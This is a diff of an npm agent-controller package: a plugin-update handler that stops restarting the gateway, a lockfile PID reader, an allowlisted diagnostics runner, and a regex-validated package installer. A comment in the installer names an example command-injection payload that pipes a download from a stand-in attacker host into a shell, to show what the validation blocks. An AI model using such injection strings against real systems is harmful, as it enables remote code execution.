import { installPlugin } from '../utils/openclaw-ops.js';
|
|
4
|
-
import { restartGateway } from '../utils/gateway-restart.js';
|
|
5
4
|
/**
|
|
6
5
|
* Single-plugin update handler.
|
|
7
6
|
* payload: { id: string, version: string }
|
|
@@ -10,9 +9,13 @@ import { restartGateway } from '../utils/gateway-restart.js';
|
|
|
10
9
|
* 1. Validate payload (return success:false on bad input — never throw).
|
|
11
10
|
* 2. installPlugin(id, version). The helper skip-fast when the requested
|
|
12
11
|
* version is already installed.
|
|
13
|
-
*
|
|
14
|
-
*
|
|
15
|
-
*
|
|
12
|
+
*
|
|
13
|
+
* NOTE — no explicit gateway restart. Plugin install writes the new
|
|
14
|
+
* `plugins.installs.<id>.{spec,version,resolvedVersion,...}` keys into
|
|
15
|
+
* the openclaw config; openclaw watches the config file and reloads
|
|
16
|
+
* itself when those keys change (deferring until in-flight task runs
|
|
17
|
+
* complete). Calling restartGateway() here would be redundant and, in
|
|
18
|
+
* the worst case, race openclaw's own reload.
|
|
16
19
|
*/
|
|
17
20
|
export async function handlePluginUpdate(cmd) {
|
|
18
21
|
const startMs = Date.now();
|
|
@@ -45,7 +48,7 @@ export async function handlePluginUpdate(cmd) {
|
|
|
45
48
|
id: cmd.id,
|
|
46
49
|
type: cmd.type,
|
|
47
50
|
success: true,
|
|
48
|
-
data: { id, version, installed: false
|
|
51
|
+
data: { id, version, installed: false },
|
|
49
52
|
};
|
|
50
53
|
}
|
|
51
54
|
logCollector?.push('plugin_update_installed', 'info', `Plugin installed`, {
|
|
@@ -53,19 +56,6 @@ export async function handlePluginUpdate(cmd) {
|
|
|
53
56
|
id,
|
|
54
57
|
version,
|
|
55
58
|
});
|
|
56
|
-
let restarted = false;
|
|
57
|
-
try {
|
|
58
|
-
await restartGateway();
|
|
59
|
-
restarted = true;
|
|
60
|
-
}
|
|
61
|
-
catch (err) {
|
|
62
|
-
logCollector?.push('plugin_update_restart_failed', 'warn', `Gateway restart failed after plugin install`, {
|
|
63
|
-
commandId: cmd.id,
|
|
64
|
-
id,
|
|
65
|
-
version,
|
|
66
|
-
error: toErrorMessage(err),
|
|
67
|
-
});
|
|
68
|
-
}
|
|
69
59
|
return {
|
|
70
60
|
id: cmd.id,
|
|
71
61
|
type: cmd.type,
|
|
@@ -74,7 +64,6 @@ export async function handlePluginUpdate(cmd) {
|
|
|
74
64
|
id,
|
|
75
65
|
version,
|
|
76
66
|
installed: true,
|
|
77
|
-
restarted,
|
|
78
67
|
durationMs: Date.now() - startMs,
|
|
79
68
|
},
|
|
80
69
|
};
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"plugin-update.js","sourceRoot":"","sources":["../../src/handlers/plugin-update.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,0BAA0B,CAAC;
|
|
1
|
+
{"version":3,"file":"plugin-update.js","sourceRoot":"","sources":["../../src/handlers/plugin-update.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,0BAA0B,CAAC;AAEzD;;;;;;;;;;;;;;;GAeG;AACH,MAAM,CAAC,KAAK,UAAU,kBAAkB,CAAC,GAAiB;IACxD,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,MAAM,OAAO,GAAG,CAAC,GAAG,CAAC,OAAO,IAAI,EAAE,CAAwC,CAAC;IAC3E,MAAM,EAAE,GAAG,OAAO,OAAO,CAAC,EAAE,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,EAAE,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;IACnE,MAAM,OAAO,GAAG,OAAO,OAAO,CAAC,OAAO,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;IAElF,YAAY,EAAE,IAAI,CAAC,wBAAwB,EAAE,MAAM,EAAE,yBAAyB,EAAE;QAC9E,SAAS,EAAE,GAAG,CAAC,EAAE;QACjB,EAAE;QACF,OAAO;KACR,CAAC,CAAC;IAEH,IAAI,CAAC,EAAE,IAAI,CAAC,OAAO,EAAE,CAAC;QACpB,OAAO;YACL,EAAE,EAAE,GAAG,CAAC,EAAE;YACV,IAAI,EAAE,GAAG,CAAC,IAAI;YACd,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,6DAA6D;SACrE,CAAC;IACJ,CAAC;IAED,IAAI,CAAC;QACH,MAAM,SAAS,GAAG,MAAM,aAAa,CAAC,EAAE,EAAE,OAAO,CAAC,CAAC;QACnD,IAAI,CAAC,SAAS,EAAE,CAAC;YACf,YAAY,EAAE,IAAI,CAAC,uBAAuB,EAAE,MAAM,EAAE,qCAAqC,EAAE;gBACzF,SAAS,EAAE,GAAG,CAAC,EAAE;gBACjB,EAAE;gBACF,OAAO;gBACP,UAAU,EAAE,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO;aACjC,CAAC,CAAC;YACH,OAAO;gBACL,EAAE,EAAE,GAAG,CAAC,EAAE;gBACV,IAAI,EAAE,GAAG,CAAC,IAAI;gBACd,OAAO,EAAE,IAAI;gBACb,IAAI,EAAE,EAAE,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE;aACxC,CAAC;QACJ,CAAC;QAED,YAAY,EAAE,IAAI,CAAC,yBAAyB,EAAE,MAAM,EAAE,kBAAkB,EAAE;YACxE,SAAS,EAAE,GAAG,CAAC,EAAE;YACjB,EAAE;YACF,OAAO;SACR,CAAC,CAAC;QAEH,OAAO;YACL,EAAE,EAAE,GAAG,CAAC,EAAE;YACV,IAAI,EAAE,GAAG,CAAC,IAAI;YACd,OAAO,EAAE,IAAI;YACb,IAAI,EAAE;gBACJ,EAAE;gBACF,OAAO;gBACP,SAAS,EAAE,IAAI;gBACf,UAAU,EAAE,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO;aACjC;SACF,CAAC;IACJ,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO;YACL,EAAE,EAAE,GAAG,CAAC,EAAE;YACV,IAAI,EAAE,GAAG,CAAC,IAAI;YACd,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC;SAC3B,CAAC;IACJ,CAAC;AACH,CAAC"}
|
package/dist/lockfile.d.ts
CHANGED
|
@@ -4,3 +4,9 @@ export declare function createLockFile(): void;
|
|
|
4
4
|
export declare function removeLockFile(): void;
|
|
5
5
|
/** Check if lock file exists */
|
|
6
6
|
export declare function isLockFilePresent(): boolean;
|
|
7
|
+
/**
|
|
8
|
+
* Read the PID stored in the lock file. Returns `null` if the lock file is
|
|
9
|
+
* missing, unreadable, or doesn't contain a valid positive integer. Used by
|
|
10
|
+
* the `stop` CLI to signal the running agent-controller daemon.
|
|
11
|
+
*/
|
|
12
|
+
export declare function readLockFilePid(): number | null;
|
package/dist/lockfile.js
CHANGED
|
@@ -39,4 +39,21 @@ export function removeLockFile() {
|
|
|
39
39
|
export function isLockFilePresent() {
|
|
40
40
|
return fs.existsSync(getLockPath());
|
|
41
41
|
}
|
|
42
|
+
/**
|
|
43
|
+
* Read the PID stored in the lock file. Returns `null` if the lock file is
|
|
44
|
+
* missing, unreadable, or doesn't contain a valid positive integer. Used by
|
|
45
|
+
* the `stop` CLI to signal the running agent-controller daemon.
|
|
46
|
+
*/
|
|
47
|
+
export function readLockFilePid() {
|
|
48
|
+
try {
|
|
49
|
+
const raw = fs.readFileSync(getLockPath(), 'utf8').trim();
|
|
50
|
+
const pid = Number.parseInt(raw, 10);
|
|
51
|
+
if (!Number.isFinite(pid) || pid <= 0)
|
|
52
|
+
return null;
|
|
53
|
+
return pid;
|
|
54
|
+
}
|
|
55
|
+
catch {
|
|
56
|
+
return null;
|
|
57
|
+
}
|
|
58
|
+
}
|
|
42
59
|
//# sourceMappingURL=lockfile.js.map
|
package/dist/lockfile.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"lockfile.js","sourceRoot":"","sources":["../src/lockfile.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,MAAM,SAAS,GAAG,uBAAuB,CAAC;AAE1C,SAAS,UAAU;IACjB,+CAA+C;IAC/C,2CAA2C;IAC3C,IAAI,EAAE,CAAC,UAAU,CAAC,sCAAsC,CAAC,EAAE,CAAC;QAC1D,OAAO,sCAAsC,CAAC;IAChD,CAAC;IACD,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,WAAW,EAAE,kBAAkB,CAAC,CAAC;AAClE,CAAC;AAED,SAAS,WAAW;IAClB,OAAO,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,kCAAkC;AAClC,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACtE,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,CAAC,KAAK,CAAC,oCAAoC,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;IAChG,CAAC;AACH,CAAC;AAED,4DAA4D;AAC5D,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;QAC7B,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,MAAM,CAAC;QACP,8BAA8B;IAChC,CAAC;AACH,CAAC;AAED,gCAAgC;AAChC,MAAM,UAAU,iBAAiB;IAC/B,OAAO,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;AACtC,CAAC"}
|
|
1
|
+
{"version":3,"file":"lockfile.js","sourceRoot":"","sources":["../src/lockfile.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,MAAM,SAAS,GAAG,uBAAuB,CAAC;AAE1C,SAAS,UAAU;IACjB,+CAA+C;IAC/C,2CAA2C;IAC3C,IAAI,EAAE,CAAC,UAAU,CAAC,sCAAsC,CAAC,EAAE,CAAC;QAC1D,OAAO,sCAAsC,CAAC;IAChD,CAAC;IACD,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,WAAW,EAAE,kBAAkB,CAAC,CAAC;AAClE,CAAC;AAED,SAAS,WAAW;IAClB,OAAO,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,kCAAkC;AAClC,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACtE,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,CAAC,KAAK,CAAC,oCAAoC,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;IAChG,CAAC;AACH,CAAC;AAED,4DAA4D;AAC5D,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;QAC7B,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,MAAM,CAAC;QACP,8BAA8B;IAChC,CAAC;AACH,CAAC;AAED,gCAAgC;AAChC,MAAM,UAAU,iBAAiB;IAC/B,OAAO,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;AACtC,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,eAAe;IAC7B,IAAI,CAAC;QACH,MAAM,GAAG,GAAG,EAAE,CAAC,YAAY,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,CAAC,IAAI,EAAE,CAAC;QAC1D,MAAM,GAAG,GAAG,MAAM,CAAC,QAAQ,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;QACrC,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,GAAG,CAAC,IAAI,GAAG,IAAI,CAAC;YAAE,OAAO,IAAI,CAAC;QACnD,OAAO,GAAG,CAAC;IACb,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC"}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
export declare const ALLOWED_CHECKS: Record<string, string>;
|
|
2
|
+
export interface CheckResult {
|
|
3
|
+
stdout: string;
|
|
4
|
+
stderr: string;
|
|
5
|
+
success: boolean;
|
|
6
|
+
error?: string;
|
|
7
|
+
}
|
|
8
|
+
export interface UnknownCheck {
|
|
9
|
+
error: string;
|
|
10
|
+
}
|
|
11
|
+
export type DiagnosticsResult = Record<string, CheckResult | UnknownCheck>;
|
|
12
|
+
export declare function isKnownCheck(key: string): boolean;
|
|
13
|
+
/**
|
|
14
|
+
* Run one or more diagnostic checks. Each key is looked up in ALLOWED_CHECKS;
|
|
15
|
+
* unknown keys are recorded as `{ error: 'Unknown check' }` rather than
|
|
16
|
+
* throwing — the WS handler and CLI both surface that to the caller.
|
|
17
|
+
*
|
|
18
|
+
* Pass `undefined` (or no argument) to run every allowlisted check.
|
|
19
|
+
*/
|
|
20
|
+
export declare function runDiagnostics(checks?: string[]): Promise<DiagnosticsResult>;
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
import { exec } from 'node:child_process';
|
|
2
|
+
// ---------------------------------------------------------------------------
|
|
3
|
+
// Shared diagnostics module — used by:
|
|
4
|
+
// - src/handlers/diagnostics.ts (WS handler)
|
|
5
|
+
// - src/commands/diagnostics-cli.ts (CLI)
|
|
6
|
+
//
|
|
7
|
+
// Allowlist of diagnostic checks. Adding a new key here exposes it both via
|
|
8
|
+
// WS and via the CLI automatically.
|
|
9
|
+
// ---------------------------------------------------------------------------
|
|
10
|
+
const DIAGNOSTICS_TIMEOUT_MS = 10_000;
|
|
11
|
+
export const ALLOWED_CHECKS = {
|
|
12
|
+
disk_usage: 'df -h',
|
|
13
|
+
memory_info: 'free -m || vm_stat',
|
|
14
|
+
uptime: 'uptime',
|
|
15
|
+
gateway_status: 'openclaw gateway status --json',
|
|
16
|
+
node_version: 'node --version',
|
|
17
|
+
controller_version: 'npm list -g @openclaw-cloud/agent-controller --depth=0',
|
|
18
|
+
processes: 'ps aux --sort=-rss | head -20',
|
|
19
|
+
};
|
|
20
|
+
export function isKnownCheck(key) {
|
|
21
|
+
return Object.prototype.hasOwnProperty.call(ALLOWED_CHECKS, key);
|
|
22
|
+
}
|
|
23
|
+
function runCheck(cmd) {
|
|
24
|
+
return new Promise((resolve) => {
|
|
25
|
+
exec(cmd, { timeout: DIAGNOSTICS_TIMEOUT_MS }, (error, stdout, stderr) => {
|
|
26
|
+
resolve({
|
|
27
|
+
stdout: stdout.toString(),
|
|
28
|
+
stderr: stderr.toString(),
|
|
29
|
+
success: !error,
|
|
30
|
+
...(error ? { error: error.message } : {}),
|
|
31
|
+
});
|
|
32
|
+
});
|
|
33
|
+
});
|
|
34
|
+
}
|
|
35
|
+
/**
|
|
36
|
+
* Run one or more diagnostic checks. Each key is looked up in ALLOWED_CHECKS;
|
|
37
|
+
* unknown keys are recorded as `{ error: 'Unknown check' }` rather than
|
|
38
|
+
* throwing — the WS handler and CLI both surface that to the caller.
|
|
39
|
+
*
|
|
40
|
+
* Pass `undefined` (or no argument) to run every allowlisted check.
|
|
41
|
+
*/
|
|
42
|
+
export async function runDiagnostics(checks) {
|
|
43
|
+
const targets = checks && checks.length > 0 ? checks : Object.keys(ALLOWED_CHECKS);
|
|
44
|
+
const results = {};
|
|
45
|
+
for (const key of targets) {
|
|
46
|
+
const cmd = ALLOWED_CHECKS[key];
|
|
47
|
+
if (!cmd) {
|
|
48
|
+
results[key] = { error: 'Unknown check' };
|
|
49
|
+
continue;
|
|
50
|
+
}
|
|
51
|
+
results[key] = await runCheck(cmd);
|
|
52
|
+
}
|
|
53
|
+
return results;
|
|
54
|
+
}
|
|
55
|
+
//# sourceMappingURL=diagnostics.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/utils/diagnostics.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAE1C,8EAA8E;AAC9E,uCAAuC;AACvC,gDAAgD;AAChD,4CAA4C;AAC5C,EAAE;AACF,4EAA4E;AAC5E,oCAAoC;AACpC,8EAA8E;AAE9E,MAAM,sBAAsB,GAAG,MAAM,CAAC;AAEtC,MAAM,CAAC,MAAM,cAAc,GAA2B;IACpD,UAAU,EAAE,OAAO;IACnB,WAAW,EAAE,oBAAoB;IACjC,MAAM,EAAE,QAAQ;IAChB,cAAc,EAAE,gCAAgC;IAChD,YAAY,EAAE,gBAAgB;IAC9B,kBAAkB,EAAE,wDAAwD;IAC5E,SAAS,EAAE,+BAA+B;CAC3C,CAAC;AAeF,MAAM,UAAU,YAAY,CAAC,GAAW;IACtC,OAAO,MAAM,CAAC,SAAS,CAAC,cAAc,CAAC,IAAI,CAAC,cAAc,EAAE,GAAG,CAAC,CAAC;AACnE,CAAC;AAED,SAAS,QAAQ,CAAC,GAAW;IAC3B,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE;QAC7B,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,sBAAsB,EAAE,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,EAAE;YACvE,OAAO,CAAC;gBACN,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,OAAO,EAAE,CAAC,KAAK;gBACf,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,KAAK,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;aAC3C,CAAC,CAAC;QACL,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAED;;;;;;GAMG;AACH,MAAM,CAAC,KAAK,UAAU,cAAc,CAAC,MAAiB;IACpD,MAAM,OAAO,GAAG,MAAM,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC;IACnF,MAAM,OAAO,GAAsB,EAAE,CAAC;IACtC,KAAK,MAAM,GAAG,IAAI,OAAO,EAAE,CAAC;QAC1B,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,IAAI,CAAC,GAAG,EAAE,CAAC;YACT,OAAO,CAAC,GAAG,CAAC,GAAG,EAAE,KAAK,EAAE,eAAe,EAAE,CAAC;YAC1C,SAAS;QACX,CAAC;QACD,OAAO,CAAC,GAAG,CAAC,GAAG,MAAM,QAAQ,CAAC,GAAG,CAAC,CAAC;IACrC,CAAC;IACD,OAAO,OAAO,CAAC;AACjB,CAAC"}
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
export declare const INSTALL_TIMEOUT_MS = 300000;
|
|
2
|
+
export type PackageManager = 'apt' | 'npm' | 'pip';
|
|
3
|
+
export declare function isSafePackageName(name: string): boolean;
|
|
4
|
+
export declare function buildInstallCommand(manager: PackageManager, pkg: string): string;
|
|
5
|
+
export interface InstallOnePackageResult {
|
|
6
|
+
ok: boolean;
|
|
7
|
+
error?: string;
|
|
8
|
+
}
|
|
9
|
+
/**
|
|
10
|
+
* Install a single package via the named manager. Validates the package
|
|
11
|
+
* name against the allowlist regex first; never reaches the shell with an
|
|
12
|
+
* unsafe name.
|
|
13
|
+
*/
|
|
14
|
+
export declare function installOnePackage(manager: PackageManager, pkg: string, timeoutMs?: number): Promise<InstallOnePackageResult>;
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
import { exec } from 'node:child_process';
|
|
2
|
+
import { toErrorMessage } from './response.js';
|
|
3
|
+
// ---------------------------------------------------------------------------
|
|
4
|
+
// Shared package-install module — used by:
|
|
5
|
+
// - src/handlers/package-install.ts (WS handler)
|
|
6
|
+
// - src/commands/package-install-cli.ts (CLI)
|
|
7
|
+
//
|
|
8
|
+
// Security model: regex allowlist on package names rather than an enum of
|
|
9
|
+
// blessed packages. We accept characters that are valid in real package
|
|
10
|
+
// names on apt/npm/pip and reject every shell metacharacter so that a
|
|
11
|
+
// payload like "foo; curl evil.com | sh" cannot reach the shell.
|
|
12
|
+
// ---------------------------------------------------------------------------
|
|
13
|
+
export const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
|
|
14
|
+
/**
|
|
15
|
+
* Allowed: letters, digits, @, ., _, /, -, +, :, %, [, ], ^, ~, =, comma, *
|
|
16
|
+
* (covers npm scopes, semver ranges like "pkg@^1.2", apt epoch prefixes
|
|
17
|
+
* like "2:pkg", pip extras "pkg[extra]")
|
|
18
|
+
*/
|
|
19
|
+
const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
|
|
20
|
+
export function isSafePackageName(name) {
|
|
21
|
+
return SAFE_PACKAGE_NAME_RE.test(name);
|
|
22
|
+
}
|
|
23
|
+
export function buildInstallCommand(manager, pkg) {
|
|
24
|
+
switch (manager) {
|
|
25
|
+
case 'apt':
|
|
26
|
+
return `apt-get install -y ${pkg}`;
|
|
27
|
+
case 'npm':
|
|
28
|
+
return `npm install -g ${pkg}`;
|
|
29
|
+
case 'pip':
|
|
30
|
+
return `pip install ${pkg}`;
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
function execPackage(cmd, timeoutMs) {
|
|
34
|
+
return new Promise((resolve, reject) => {
|
|
35
|
+
exec(cmd, { timeout: timeoutMs }, (error) => {
|
|
36
|
+
if (error)
|
|
37
|
+
reject(error);
|
|
38
|
+
else
|
|
39
|
+
resolve();
|
|
40
|
+
});
|
|
41
|
+
});
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Install a single package via the named manager. Validates the package
|
|
45
|
+
* name against the allowlist regex first; never reaches the shell with an
|
|
46
|
+
* unsafe name.
|
|
47
|
+
*/
|
|
48
|
+
export async function installOnePackage(manager, pkg, timeoutMs = INSTALL_TIMEOUT_MS) {
|
|
49
|
+
if (!isSafePackageName(pkg)) {
|
|
50
|
+
return { ok: false, error: 'Invalid package name: contains disallowed characters' };
|
|
51
|
+
}
|
|
52
|
+
try {
|
|
53
|
+
await execPackage(buildInstallCommand(manager, pkg), timeoutMs);
|
|
54
|
+
return { ok: true };
|
|
55
|
+
}
|
|
56
|
+
catch (err) {
|
|
57
|
+
return { ok: false, error: toErrorMessage(err) };
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
//# sourceMappingURL=package-install.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/utils/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAC1C,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAE/C,8EAA8E;AAC9E,2CAA2C;AAC3C,oDAAoD;AACpD,gDAAgD;AAChD,EAAE;AACF,0EAA0E;AAC1E,wEAAwE;AACxE,sEAAsE;AACtE,iEAAiE;AACjE,8EAA8E;AAE9E,MAAM,CAAC,MAAM,kBAAkB,GAAG,OAAO,CAAC,CAAC,kBAAkB;AAE7D;;;;GAIG;AACH,MAAM,oBAAoB,GAAG,iCAAiC,CAAC;AAI/D,MAAM,UAAU,iBAAiB,CAAC,IAAY;IAC5C,OAAO,oBAAoB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACzC,CAAC;AAED,MAAM,UAAU,mBAAmB,CAAC,OAAuB,EAAE,GAAW;IACtE,QAAQ,OAAO,EAAE,CAAC;QAChB,KAAK,KAAK;YACR,OAAO,sBAAsB,GAAG,EAAE,CAAC;QACrC,KAAK,KAAK;YACR,OAAO,kBAAkB,GAAG,EAAE,CAAC;QACjC,KAAK,KAAK;YACR,OAAO,eAAe,GAAG,EAAE,CAAC;IAChC,CAAC;AACH,CAAC;AAED,SAAS,WAAW,CAAC,GAAW,EAAE,SAAiB;IACjD,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,CAAC,KAAK,EAAE,EAAE;YAC1C,IAAI,KAAK;gBAAE,MAAM,CAAC,KAAK,CAAC,CAAC;;gBACpB,OAAO,EAAE,CAAC;QACjB,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAOD;;;;GAIG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,OAAuB,EACvB,GAAW,EACX,YAAoB,kBAAkB;IAEtC,IAAI,CAAC,iBAAiB,CAAC,GAAG,CAAC,EAAE,CAAC;QAC5B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,sDAAsD,EAAE,CAAC;IACtF,CAAC;IACD,IAAI,CAAC;QACH,MAAM,WAAW,CAAC,mBAAmB,CAAC,OAAO,EAAE,GAAG,CAAC,EAAE,SAAS,CAAC,CAAC;QAChE,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC;IACtB,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC,EAAE,CAAC;IACnD,CAAC;AACH,CAAC"}
|